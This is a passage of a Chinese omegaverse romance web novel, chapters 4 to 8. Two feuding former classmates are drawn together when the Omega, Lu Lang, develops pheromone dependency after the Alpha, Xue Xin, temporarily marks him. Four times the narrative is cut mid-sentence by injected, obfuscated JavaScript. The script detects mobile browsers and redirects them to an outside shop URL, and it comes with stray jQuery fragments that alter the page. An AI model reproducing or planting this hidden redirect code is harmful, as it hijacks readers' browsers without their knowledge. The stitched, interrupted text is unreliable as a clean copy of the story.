她说到这里的就不讲了,对薛歆抛了好几个眼神,一直没得到想要的回应,最后只好主动揭开谜底:“我那天都闻到了,你身上有Omega信息素的味儿,虽然就一点点,不过真挺烈的。咋了,最近有情况?”
薛歆真的惊讶了。
周六晚上她是和方烛见过一面,当时距离标记已经过去了六个多小时,她换了衣服,喷了遮味剂,按理来说应该没留痕。
“你能闻到?”
方烛得意:“我可是信息素超敏感体质!”
自夸完,她突然反应过来,大声道:“等等,你你你——你承认了?所以真的有一个Omega?”
“临时标记。”薛歆说,“碰见了顺便帮个忙。”
方烛:“谁啊?”
薛歆:“嘘,这是隐私。”
方烛:“不,我是觉得那个信息素有点儿熟悉,以前好像在哪闻过,该不会是哪个我也认识的人吧?”
薛歆说了选择性的真话:“碰巧遇到的,和我都不熟。”
“真的?那可能是我记错了。”方烛戳她手背,“不熟你也敢帮忙,标记可是很严肃的事,你就不怕被缠上。”
“不会的。”薛歆说,“他应该都不想再和我私下见面了。”
方烛:“话不能讲这么绝对,我跟你说,这个也是典型的f……”
这时,薛歆放在桌上的手机忽然响了。
方烛下意识低头,恰好看到来电显示。
“医院的电话。”
薛歆看了眼名字,准备挂断:“没听说过,推销广告的吧。”
“欸,等等,先别挂!”方烛连忙制止,“这是城东那边的私立医院,挺出名的,应该不是推销。你家里不是做医药的吗,不知道?”
薛歆:“我没关注家里的生意。”
她顺手接起电话。
医院打来的电话,总给人一种很严肃的感觉,虽然薛歆毫无表示,方烛还是主动起身,打算给她一些隐私空间。
但来电人的语速实在是太快了。
刚接通,对面就噼里啪啦说了一大堆,方烛还没走到窗边,听筒里的声音已经没了。
过了几秒,她听见薛歆疑惑的声音从身后传来。
“我的信息素?”
-
薛歆赶到医院已经是下午了。
她敲门进了病房,看见路琅正坐在床上,低着头像在思索什么,表情不算太好。听见动静,他蓦
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243195|197833||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
地抬眼看过来,想起身又克制住了。
……刚刚那一瞬间,他闻到一缕细微的柑橘气味,竟然差点想朝薛歆扑过去。
信息素依赖症,带来的不只是身体上的不适,还有心理层面的渴求。
路琅的脸色更难看了。
和他比起来,薛歆的状态没有任何问题。
这不是公事,她没像早晨上班时那样注意外表,换了身休闲的衣服,没戴配饰,卷发在脑后盘成松散的丸子头。
看起来只给人慵懒的感觉,不会像路琅这样明显的憔悴。
对比还是挺鲜明的。
说实话,薛歆刚看见路琅的时候也有点惊讶。
脸色苍白,没精打采,看着比一周前消瘦了些,下颌线像是贴着骨头掐出来的。仍然漂亮,只是从油画褪成了淡彩。
“几天不见,”薛歆停止打量,“你怎么把自己折腾成这样了?”
医生在电话里只说了路琅生病,需要她提供一些信息素,具体情况还没说清楚。
“那个标记……”
原因难以启齿,路琅起了个头就不知道怎么讲下去了。
薛歆看着他的表情一阵阵变化,脸上渐渐竟然有了点红晕,还以为是气的,谨慎地后退了一步,提醒道:“那天是你让我标记的。”
路琅闭了闭眼:“我知道。”
标记的效果还在,哪怕没有信息素的问题,他也会对薛歆有点天然的依恋,看见她表现的这么抗拒,竟然有种诡异的失落。
幸好医生及时进来了。
腺体专科的医生大概是看惯了爱恨情仇,讲解信息特别的简洁精准,零帧起手,直接把那个路琅想提都不想提的词抛了出来。
薛歆:“信息素依赖症?”
医生:“是的,这是一种比较罕见的症状,具体原因不明,可能和标记时的状态还有信息素契合度有关系,目前还在研究。”
“具体的表现是,被标记的Omega会产生对信息素的渴求,需要定期接触,否则会出现激素失调的症状。”
这段名词解释路琅已经听过一遍。
他当时太难受,没有细问定期接触是个什么治疗方案,猜想一下,估计就是偶尔见个面,进行点信息素的交流。
薛歆的想法大致也是这样。
所以,当医生说出真正的治疗方案时,很难讲到底谁的表情更扭曲。
“我尽量用通俗的说法向二位解释。”
医生大概是这里唯一冷静的人,但他说的每一句话都让另外二人更加难以冷静。
“信息素的深度接触,简单来说就是标记,永久标记和临时标记。”医生竖起两根手指晃了晃,很快将其中一根放了下来,“按照目前的检查结果来看,只需要临时标记就可以了——我想二位应该不陌生吧。”
薛歆和路琅:“……”
薛歆想,岂止是不陌生。
就在不久前才刚刚实操过。
听见标记两个字,路琅不自觉地朝她的方向看了过去,等到发现自己在做什么,硬生生收住了视线,手指一缩,把床单攥住几个褶皱。
——都是信息素依赖的错!
5. 第 5 章
就像医生说的那样,治疗方案非常简单。
除了需要定期服用一些必要的辅助药物之外,其他的治疗部分完全可以用标记来概括——先做三次临时标记,间隔时间依次延长,后面还要不要继续,得根据路琅的身体状况来判断。
当然,纯靠药物进行调整也是可以的,只不过治疗周期会延长很多,说不定要三四年。
医生讲完情况,就贴心地走出了病房,给了二人足够的独处空间。
薛歆没有往里走,还是站在门边,低着头静静思索着,严肃得就像遇到了世纪难题。
病床上,路琅按着额头,几次三番想要开口,但都不知道如何起头。
最后,他干巴巴地说了句:“你不同意就算了。”
薛歆看他:“我没说不同意。”
“只是要点时间接受,这不是帮你捡个瓶盖那么简单的小事。我们,你跟我,你不觉得……”
她一边说一边走过来,有点卡词,手指在二人之间来回指了指,突然停下,狐疑地问:“你为什么这么轻易就愿意了?该不会对我有什么非分之想吧?”
路琅:“……别做梦。”
薛歆:“我下辈子都不想做这种噩梦。”
路琅:“你——”
薛歆嘘了声,打断他:“再吵没完没了了。放心吧,我会负责的。”
路琅松了口气,正要史无前例的朝她道个谢,听见薛歆又说:“虽然也不是我的责任。”
他顿觉一口气梗住,将没说完的话咽了回去,改口说:“我会给补偿,你要什么都可以。”
薛歆:“那倒也……”
拒绝的话还没说完,她突然停住,眼睛微微眯起,想了想,说:“确实有一件事。”
薛歆打算把新店地址定在一座商务大厦二十层,那边地段好,大小合适,前身是一家艺考培训机构,去年年初才装修过,多少能节省点成本。
唯一的问题就是租金谈不拢。
以薛家的财力,这点钱不算什么,但薛歆独立创业,当然希望财务方面也全程独立。
“我记得你和赵总有合作。”薛歆说,“就帮我谈谈价吧。”
路琅没想到她的要求这么小:“就这个?”
薛歆肯定道:“就这个。放心,我不会压太狠的。”
对于路琅而言,这甚至都称不上是帮忙,打个电话讲一声就行了。薛歆既然只要求这个,他也乐得轻松,当场就准备联系。
薛歆制止了。
“先不着急。”她拿出手机发了几条消息,说,“我看看还有没有其他的办法再说。”
路琅:“你还有其他渠道联系赵厉容?”
“赵……额,什么?哦,你说赵总啊。”
薛歆专心发完消息,才回过头来思考他说的话,说:“不是那个,我说的是你的事情。信息素依赖症,说不定有别的办法解决。”
路琅:“你家的……”
他想起薛家在抑制剂的技术上向来领先。
“模拟信息素。”薛歆说,“老东西了,最近又有突破,能达到自然标记百分之八十的效果。也许能用来治疗信息素依赖。”
路琅:“研发到哪个阶段了?”
薛歆:“临床三期——反正我去看的时候是这样,具体等我再问问我姐,之后联系你。”
“那就是还在实验阶段。”
路琅并不看好:“不如标记。”
“效果肯定比不上,所以短期内,我们Alpha还是有存在的价值的。”薛歆开自己的玩笑也不客气,想想又说,“再说临时标记不也有后遗症吗?”
后遗症?
路琅以为她说的是信息素依赖,无法反驳,有些烦躁地拿起诊断报告,翻了翻还没打开,又随手扔回去。
薛歆看见,说:“不止。”
“你觉得标记是随便就能做的?”她抬起指尖,在颈侧点了一下,“信息素能影响人的情感,左右人的决定。都说标记时的情感波动很容易误以为是爱,如果做上三四五六次标记,说不定你真的会爱上我。”
路琅:“不要讲这种恶心的话。”
薛歆改口:“好吧,说不定我会爱上你——这样听起来会好一点吗?”
并没有。
路琅觉得这想法完全是杞人忧天。
他冷静地说:“一切都是治疗需要,我知道自己在想什么,不会因为标记就改变。如果你之后想要其他补偿,我也会给你,但我们没有、今后也绝不会有任何私人关系。”
薛歆轻轻挑了一下眉毛。
不知道为什么,可能是句式的原因,这段发言让她想起方烛总挂在嘴边的口头禅。
flag什么的。
“这样最好。”薛歆说,“但我还是要先找找有没有其他的办法。”
路琅:“模拟信息素我也听说过,技术不成熟,绝对用不了。你愿意白费劲是你的事。”
薛歆不讲话了,转头朝看向他,脸上隐隐浮现出惊奇的表情。
“我是在积极解决问题,为什么你这么抗拒?”她合理推论,“就像你特别想被我标记一样。”
路琅:“我永远不可能有这种想法。”
薛歆:“哦。”
……她的脑海里又开始浮现方烛的话了。
-
这天晚些时候。
薛歆的行动力向来数一数二,从私立医院离开之后,她立刻去公司找了亲姐薛隽,旁敲侧击地打听模拟信息素的研究进程。
“你朋友说的没错,是不成熟。”
薛隽连轴转地开了一天会,仍然神采奕奕,但被问起模拟信息素的时候,还是深深叹了口气。
“主要是样本数量不够。”薛隽推过来一堆天书般的数据报告,“目前来看产品本身没问题,就是临床试验的进程卡住了。”
薛歆:“志愿者不够?不是说很安全吗?”
模拟信息素顾名思义,就是人工合成的信息素。目前的技术还不支持无中生有,模拟信息素只能以天然信息素为基底进行复制。药物试验是复制一份Alpha信息素,将它注射进发热期的Omega腺体内,和临时标记的过程一样。
“符合条件的人本来就难找,我们还被抵制了。”薛隽说起这事就开始按太阳穴,“上个月还有人在楼下拉横幅。”
薛歆还不知道这件事,惊讶道:“为什么?”
薛隽:“玷污了AO的标记过程、人造信息素没有感情……都是屁话,这明明是和抑制剂一样造福人类的伟大发明。”
她烦躁拍桌:“谁说标记非得有感情的?一个临
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243196|197833||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
时标记而已,和吃感冒药有什么区别?”
薛歆觉得她姐和路琅应该能就这个话题聊上几句。
“可能吧。”
她随口附和。
听见这句不大走心的话,薛隽才想起来亲妹妹和某些反对者一样,都是不赞同信息素感冒药论的。
“大多数情况下标记都是可控的,不会真的反过来影响自身,你不可能因为临时标记就对一个Omega死心塌地。”薛隽说,“你觉不觉得你以前的一些想法太感性了?”
薛歆:“是合情合理的担忧,以前不也有过这种情况吗?”
“那是试验需要,带来的也只是短暂的信息素失调,标记的效果一结束就消失了。”薛隽不在意地说,“日常生活里,你又不会标记一个没感情的Omega那么多次直到信息素失调?”
薛歆摸了摸鼻子,忽然有点心虚。
还真会。
无论如何,薛隽的话再次证实了她的担忧,哪怕只是短暂的激素失调,薛歆也不希望发生。
吵吵闹闹这么多年,她和路琅的各种传说小故事已经够多了,不必再往里面加上一条诡异的绯闻。
薛隽没注意到妹妹的走神,问:“你怎么突然对模拟信息素感兴趣了?”
薛歆:“想起来了问问,工厂那边能带人去参观吗?”
薛隽:“随意。”
目的已经达成,薛歆没再打扰快要忙成陀螺的姐姐,盘算着这两天抽个时间去研发部看看,正要出门,又被薛隽叫住了。
“上次发给你的照片看了没有?”
薛隽边说边举起手机,把一张照片怼到薛歆面前:“宋家的老幺,门当户对,性格也好,信息素和你很契合。要是觉得可以,我安排你们见一面。”
薛歆很无奈:“姐,不能因为你结婚了,就对所有单身Alpha都看不顺眼吧。”
“我还不是关心你!”薛隽瞪她一眼,“这也不要那也不要,你到底想找个什么样的天仙?”
薛歆:“你讲这种话会让我觉得我姐已经六十岁了。过几天再说吧,我最近在忙其他的事儿,有点冲突了。”
薛隽:“忙着远离Omega?”
薛歆:“不。”
恰恰相反。
……
这边既然已经说好了,薛歆离开公司后,就给路琅打了电话确定行程。因为两个人的联系方式八百年前就互相拉黑了,这个过程还是通过私立医院的医生来完成的。
“我觉得最好尽快。”薛歆说,“明天早上怎么样?”
路琅:“可以。”
“不可以哦。”
对话里插进了另一个声音。
“路先生还需要留院观察,在此期间尽可能不要外出,特别是不能接触到其他的信息素。”医生在一旁插话,“观察期要持续三天,。”
路琅:“那就下周三。”
薛歆:“行。我看看下周三我有没有……哦?”
路琅:“你有事?”
“不只是我有事。”薛歆说,“那天是校庆,你也要去,但你现在还能去这种场合吗?”
医生贴心地给出了解答。
“当然可以,只要二位全程寸步不离,这样可以有效隔开其他的信息素。”
寸步不离……?
6. 第 6 章
校庆当天。
从清早开始,方烛就发现自己的朋友情绪不太对。
“心情不好?”她努努嘴,朝林荫道两旁的彩球和横幅示意,“今天这么好的日子,来都来了,跟我回味一下大学时光呗,别苦着脸了。”
方烛的语气很有活力。
但这话没起到什么鼓励的作用。
薛歆叹气:“唉。”
如果早知道最后会发展成现在这样,那天参加婚宴的时候,她说什么也要打完抑制剂再出门,见面之后,不管路琅怎么挑衅,都绝不会被小学生激将法打动。
“你先过去吧。”薛歆看着表说,“我还要在这儿等个人,晚会的时候也不用找我了。”
方烛急刹车:“等人?晚会你不跟我坐一起?”
她来了精神,凑过来继续发问:“谁呀?是我认识的人吗?”
薛歆:“你也太兴奋了。”
身边有个热爱八卦的朋友,真的很难藏住秘密。
“不是我的私事,别人的。”她按按眉心,什么信息都没透露,“解释起来挺复杂的,也不适合往外讲,到时候再看吧,你别跟其他人提啊。”
没有八卦可听,方烛有点失望。
她做了个给嘴巴上缝线的动作,掷地有声地说:“我保密你放心!”
薛歆:“……”
完全放不下心来。
薛歆:“那我走了?”
方烛朝着她用力挥手。
百年校庆的规模相当大,校园的各个标志性建筑附近都有安排特别的庆祝活动,签到墙、打卡点、作品展等等。一路穿过校园,有好几个学院都在办小型音乐会。
薛歆数不清楚自己把校歌听了多少遍,在她觉得耳朵已经磨出茧子的时候,终于从一个门走到了另一个门,在那儿,路琅正在车上等她。
参加校庆的人填满了整个校园,按照医嘱,在这种场合,她和路琅必须——
寸、步、不、离。
一想到这个词,薛歆就感觉到一阵不自在。
既然情况这么麻烦,路琅可以直接不过来,他也没有非到不可的仪式感。但早在几个月前,校庆活动确定的时候,路琅从前的导师就特意与他联系了,表示希望学生能在这天回来看看。
导师当年就是退休返聘的,今年已经七十六了,人很好,对所有学生都是一视同仁的照顾。就这点简单的愿望,路琅很难开口拒绝。
薛歆则没想到他还有这种人情味。
多年相处下来,若说私下的印象,她眼里的路琅就是个脾气极差、相当冷漠、很爱找她茬的人。
内在问题无疑很严重,至于外在,他长得是很漂亮,可也没有旁人称赞的的那么夸张。
薛歆到了停车场,原地做了会儿心理准备,走过去敲敲车窗。
玻璃降下来。
司机已经离开了,车上只有路琅一个人。他膝上还放着电脑,露面那刻,他还在一边看文件,一边微微偏头往外看。
这几天薛歆和路琅没见面。根据医生的建议,最开始的这个阶段不需要那么亲密的接触,物极必反,还会影响真正治疗的效果。那天,薛歆留了点信息素样本就走了,过后没问情况,不过看路琅的脸色,确实没有之前那么憔悴了。
他穿了件高领毛衣,脖颈被遮得严严实实,低着头的时候,下巴尖被包在柔软的衣领里,脸部线条看起来圆润了些。
薛歆从车外俯视,只看得见他微抿着的唇。
“还不下来?”
她把右手伸进车窗,手表正杵在路琅眼前,指针咔咔咔往七点走:“再过段时间晚会要开始了,就现在人少,还不抓紧就没机会了。等下我陪你进去和你导师见个面,等会场里人多起来了,你直接从小门提前走。”
路琅合上电脑:“礼堂还有小门?”
校庆晚会安排在临湖礼堂。
老建筑,比茂大历史还长,次次翻新都是大工程。
薛歆大学时参加过几回校内演出,都是在临湖礼堂,对这里特别熟。
“有一个。”她收回胳膊,在窗边说,“茂大还没建校的时候就有了,原来是话剧演员赶场用的,从二楼上去,然后……”
薛歆的语气像是在讲某个不为人知但非常有趣的童年秘密,声音压的特别低,含着模模糊糊的笑意,从耳畔轻轻飘过去。
路琅对此很不适应。
他想制止但没来得及,再要打断,已经没有合适的时机了,只好被迫听着。
离得太近了,他觉得耳廓有些发痒。
薛歆倒是挺平静的。
毕业前她很少和路琅这样讲话,一般都是说两句就开始冷嘲热讽,各自找茬,最后不欢而散。
现在毕业也有四五年,薛歆觉得自己可能真是一笑泯恩仇了,竟然能面对面心平气和的聊天——当然也有可能是年纪上来吵不动了。
况且,学生时代吵架的那些话题也挺没意思的,除了个别时候是真有冲突,其他都是在没事找事。
想到这里,薛歆敲敲车窗。
“有个问题,我前几天突然想起来的。”她弯下腰,问,“我也不是很好奇,不过既然碰上了,正好问一下你。”
路琅听着听着,眉头不太明显地皱起来。
他觉得薛歆离得太近了。
总是收敛着的柑橘气味顺着气流飘过来,和薛歆的声音混在一起。她的语气有些懒散,声音低而轻,羽毛似的扫过他的耳垂。
“你究竟为什么这么讨厌我?我应该也没做过对你不好的事?”
薛歆靠着车窗,边问边露出疑惑的神色。路琅这时候才发现,她长着一双很温柔的眼睛,线条圆润,瞳色浅淡。这不是一双会主动挑事的眼睛。
但她挑事的次数不少。
路琅很容易就能举出一个例子:“大二上半学期,你在图书馆……”
没说完,薛歆将手伸过窗沿,在他眼前晃了晃。
“你看着冷冷淡淡的,怎么还记仇呢。”她声音带笑,“我问的是最开始,咱们刚上高中,当时我可没有惹你,为什么没事找事?”
路琅一怔。
他像是从没想过会被问起这个问题,直接愣住了,不多时,双颊升腾起一层红晕。
薛歆条件反射地远离了车窗
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243197|197833||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
凭经验,她觉得这很像是个发脾气的前兆。
但路琅居然没发作,沉默数秒,忽然侧过脸去,不让她看见自己的神情,然后平静地说:“我忘了。”
薛歆反问:“你忘了?”
“我忘了。”路琅说,“都过了多少年了,又不是重要的事。”
薛歆重复:“你忘了?”
路琅睨她。
神色大概是“就忘了怎么了”的意思。
薛歆:“我记得还很清楚。”
她直起身,不再往车里看,搭在车窗上的手也放了下来,随意插进衣服口袋里。
路琅的视野里只有一缕垂在衣襟前的卷发。
他不禁想起临时标记的那天,薛歆的头发从他的颈间滑落,与皮肤接触时是多么的冰凉。
薛歆开始替他回忆了:“上了高中第一届艺术节,我想弄个摊子唱歌,挺早就去报名,那时候这些活动都是学生会在负责。”
大学毕业已经五年,高一的事情像上辈子发生的一样,薛歆不至于常常回忆黑历史,这么久过去,其实也记得不是特别清楚了。
不过讲着讲着,她成功把当时的心境找回来了,越说语速越快。
“你拿到我的申请就开始挑刺,场地、布景、内容……有些细节真是闻所未闻。”薛歆这时候没什么笑容了,一口气说完,“一开始我真觉得是我做的有问题,后面才回过味来,发现你根本就是看我不顺眼。”
“记起来了没?”
她问。
以成年人的心境,这想想也是小事,可高一时薛歆是真的挺生气的,虽然不至于去校园墙公开骂人,私底下还是跟朋友吐槽了不少。
路琅已经冷静下来了。
刚才那样大的反应像肥皂泡一样,已经啪一下破掉并且无影无踪了,他脸上又不再有特别的表情了。
薛歆:“你要是非说忘了也可以。”
“我记得你说的这些。”路琅垂下眼来,下巴跟着低下去,“但我不记得当时为什么要这么做了。也许没有具体的原因,只是看你不顺眼,就这样而已。你要是耿耿于怀,我可以为此道歉。”
他不愿意讲真正的原因。
这让薛歆越来越感兴趣了。
她一开始也觉得可能只是气场不合看不顺眼,但路琅刚听见这个问题时的反应,是在哪儿也从来没有见过的。
这里面居然还有她不知道的深层原因吗?
薛歆考虑了下,没有再逼问。
“算了,用不着道歉,也过了这么多年了,况且我也——”
她停了几秒,想起过去的事,忍不住弯弯眼睛,俯身看向路琅,姿态轻松地抬了抬肩膀:“况且我也早就报复回去了。”
说完这句话,薛歆弯腰的幅度大了些,垂在胸前的卷发轻轻晃动,面容在车窗的小方格里闪过:扬起的唇,挺拔的鼻梁,线条温柔的眼睛……
动作很快。
带起一阵风。
像是有人在身旁剥橘子,清新的汁水在空气里飞溅,路琅眨了下眼睛。
“随便你。”
他收回目光。
7. 第 7 章
临湖礼堂。
距离晚会开始还有一段时间,这里已经很热闹了,到处都有人在拍照和聊天。
薛歆走到门口,观察了下室内的情况,掩耳盗铃的把长发拨到前面遮住半张脸。
路琅抬眼看她:“见不得人?”
薛歆:“你什么时候才能说点……啧。”
路琅忽然僵了僵。
标记那天,他在过程里虽然不清醒,结束之后却把所有细节都想起来了,听了这句话,一些很想忘掉的画面迅速浮现出来。
薛歆起了个头,也突然觉得句式有点熟悉,生硬地停住了,把衣领往上提了提:“不是你说别让人看见?”
“那天情况特殊。”路琅语速很快,“这是公开场合,没人会多想。”
薛歆拨了拨脸侧的头发。
“你这样讲之前,最好……”
“最好什么?”
路琅等了几秒,薛歆还是没往后说,只把头发捋回到后面,侧脸的线条在他眼中一点点清晰起来。
她轻眨一下眼睛,语气有些无奈:“最好多喷几次遮味剂。”
路琅:“什……”
他突然反应过来,耳廓立刻浮了一层红晕。
“你现在闻起来是橘子味的,而且很甜。”薛歆说着,闻了闻自己的袖子,疑惑地自言自语,“我的信息素有这么黏糊吗?”
路琅紧紧地抿住了唇。
在薛歆说出这句话之前,他真的没有察觉到自己身上有一股橘子味儿。
人很难对自己的信息素气味保持敏感。经过了最开始的临时标记和这么多天的治疗,柑橘信息素已经快与路琅自己的融为一体,无时无刻不环绕在他身边。
在病房里的时候,这种情况不要紧,他最开始发现了也没在意,后面渐渐就忘记了,今天更是完全没想起来。
所以一路上,他都是……带着薛歆的信息素……
路琅艰难地从羞耻感中挣脱出来,深吸了一口气:“下次你应该早点说。”
“我以为你知道,毕竟挺明显的。没事,现在处理也来得及。”薛歆想了想,从包里翻出一张Omega抑制贴,伸手比划,“低头。”
路琅盯着这张抑制贴:“你为什么会随身带这种东西?”
“什么叫‘这种东西’?这属于正规的医疗器械。”
薛歆指正了他的描述,然后解释道:“前两天在公司拿的。”
路琅这才把目光移开。
他那天一时冲动说让薛歆标记的时候,多少还是用脑子的浆糊想了想的,记得她是单身才提要求。
要是薛歆有Omega,这件事的性质就从帮忙一下子升级到了道德败坏的程度。
“你竟然还会考虑这个?”薛歆飞快扫视着抑制贴背后的说明书,“放心吧,我目前没有感情方面的规划,真有也不会找Omega。”
路琅看着她捏住抑制贴的手,脸颊的热度慢慢消退。
自然,他对薛歆也没有那方面的感情。
但大概是标记的原因,或者是作为Omega的群体归属感使然,听到这句话,他莫名觉得有点儿不爽。
Omega怎么了?有必要特地拎出来说吗?
路琅不爽了一会儿,干脆把这句话问出来了。
“别激动,这只是我个人的想法,不代表什么。可能是因为我家是做抑制剂的,总觉得信息素是门生意,所以我也不想找Omega。”
薛歆:“我没说Omega哪里不好。”
路琅扭开脸。
薛歆看他一眼,补充:“也没说你不好。”
路琅:“……”
他不知道回答什么,越发偏过脸去,假装没听见。
旁边,薛歆已经呲啦一声把抑制贴包装撕开了。
“低头。”她研究了下正反,“我给你贴。”
让Alpha帮忙贴抑制贴——这举动对于一个Omega来说有点突破社交界限了。
路琅不知道薛歆是不是故意耍他玩的,如果不是,他觉得她可能有点缺心眼儿。
难道临时标记带来的依恋情绪对她也有效?
想到这种可能性,路琅觉得心里有种奇怪的感觉,非常细微,和一片羽毛能引起的涟漪一样。他将此归类为反感。
“我自己来。”他伸出手,“给我。”
薛歆哦了一声,把抑制贴递了过来。
这时正巧有五六个学生朝这边走过来,其中一个脖子上挂着微单,边走边兴奋地用手指比出取景框,大声的说着“出片”、“技术”云云。
在茂大诸多热门打卡点中,临湖礼堂一直位列热度榜前列。
薛歆看见了,抬脚往旁边的僻静处走:“那几个小孩估计要在这拍照,到那边去吧,喏,正好有花坛挡着。”
路琅跟着她走了过去。
两人家一丛修剪成球形的小灌木后停下。
薛歆斜靠花坛站着,百无聊赖地玩了玩叶片,侧头去看路琅的动作。
她只是闲着没事做,随便盯着个什么东西看看,眼睛里没情绪,但一眨不眨,看起来居然也很是专注。
路琅触碰后颈的动作一顿。
毛衣的领子太厚实,层层叠叠的,他单手往下拉,本来就不太方便,旁边薛歆的目光存在感特别强烈,更让他有点手忙脚乱了。
他同时发现一个事实:
被一个Alpha看着贴抑制贴,和对方亲自动手,在个人感受上的区别并不是特别大。
毛衣领第三次没拽稳掉下来的时候,薛歆看不下去了,摊开手:“还是我来吧。”
路琅停下来。
薛歆朝自己的方向勾了两下手指。
路琅看过来,目光从她的脸移动到她的手指上,凝视着指尖,眸光闪动。
做临时标记的时候,薛歆很喜欢抚摸、甚至是轻按腺体,虽然不痛苦,但太奇怪了。
只是看着这双手,那种感觉就仿佛在腺体中浮现。
他拒绝:“不用。”
薛歆:“真不用?我也不能看着你费劲,时间不早了,再耽误久一点,万一碰上熟人呢?”
方烛几分钟前还跟她发消息,说逛完了学院的展位,想到礼堂这边怀怀旧。
算算时间,说不定就要碰个正着。
几步开外,停留在礼堂门口的人也开始增加,被灌木挡住了看不见,但明显能听见喧闹声越来越大。
路琅妥协了。
“不用你贴。”他怀着最后的倔强说,“帮我弄一下衣服就够了,我自己来贴。”
薛歆不再勾手指了:“好。”
她走到路琅身侧,把遮住后颈的衣领往下拉,直到那块藏着腺体的皮肤完全露出,才停下动作。
“这样够吗?”
“再往下一点。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243198|197833||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“嗯……这样?”
“可以了。”
现在两人之间的距离是真的有点太近了,能互相清晰的听见对方的呼吸声,体温似乎在通过空气传递着。
路琅低着头,双手捏着抑制贴往后伸过去。脖颈露在外面,他觉得有点凉,也有点紧张。
这很正常。
他想。
腺体完全暴露在Alpha的目光下,没有那个Omega能不紧张的,这和双方的相处模式没关系。
突然,薛歆的指尖碰到了他的脖颈。
路琅的手明显地抖了一下。
薛歆:“抱歉。”
她控制着手指保持稳定,脚下则不动声色地朝侧方迈出了一小步。
好香的信息素。
面对面的时候不觉得,绕到后面来,气息就突然变得浓郁了。
也可能是粘在衣服上的味道飘散开了。
路琅的发热期已经控制住了,信息素不像临时标记时那么浓,蕴含的诸多情绪与渴求也消失大半,对于其他人来说,闻着和香水没有两样。
薛歆不在“其他人”之列。
单是柚子花香还好,可是里面还掺杂着点明显的柑橘味,她确定自己控制好了信息素,所以这全是从路琅身上散发出来的。
变成这样的原因……咳。
薛歆不再发散思维,把重心从嗅觉移到视觉,只盯着那一小块皮肤看。
路琅的肤色非常白,肌肤细腻,脖颈这一片都是光润的,只有包裹着腺体的那一块微微凸起,在颈后像一个小小的山丘。
薛歆垂眼看着,发现自己的杂念越来越多。
……
好想按一下。
我的强迫症都严重到这种程度了?
薛歆一边想着,一边与自己的手痒作斗争。在她忍不住想干脆松手放开衣领,从根源解决问题时,路琅终于贴好了抑制贴。
她松了口气:“好了?”
路琅:“嗯。”
薛歆收回手,绕回到前面来,两人各怀心事,对视一眼,同时飞快地错开了目光。
气氛有些诡异。
薛歆轻咳一声,说:“那就行了,我们进去吧。”
礼堂外的拍照环节这时候终于到了尾声,学生们走到了台阶下边的空地上,进出通道空了出来。
两人都没有说话,一前一后沉默着走进了临湖礼堂。
放在以往,这种情况很常见,上大学的时候薛歆和路琅见面就吵架,像现在这样沉默相对,朋友们还得惊叹一句今天真和平。
此刻却显得有些冷漠。
是错觉吧。
薛歆想。
穿过礼堂入口长长的通道,灯光霍然明亮起来,她停下脚步,打算说点什么,一回头,发现路琅也正在看她。
两人都是一怔。
薛歆:“怎么了?”
路琅:“……没事。”
他绝不会承认自己是看她的背影看得出了神。
薛歆迟疑了一下,没有追问,说道:“我忘了跟你讲模拟信息素的事,可能需要……”
刚说到这儿,一声呼唤打断了她的话。
“薛歆?还有……路琅?”
几步外,方烛左右看了看,抬起手揉了揉自己的眼睛,喃喃道:“我是出现幻觉了吗?”
薛歆:“……”
不妙。
8. 第 8 章
方烛一度怀疑自己的眼睛。
她用力眨眼,将面前的两个人看了又看,发现自己真的没看错之后,脸上的惊讶渐渐变成了困惑。
“你们,呃……你们……”
方烛磕巴了两次才说完:“你们怎么走在一块了?”
薛歆:“有事约了。”
路琅:“门口碰见的。”
方烛:“?”
两双眼睛同时朝薛歆看了过来。
气氛一时有些尴尬。
薛歆沉默了几秒,偏头悄声对路琅说:“方烛知道我约了人。”
路琅无法理解:“你何必告诉她?”
薛歆的声音更小了:“如果不说提前有约,那我要怎样合理地和你寸步不离,还不被人觉得是神经病呢?”
路琅:“……”
他不想认同这句话,但确实也找不到反驳的依据。
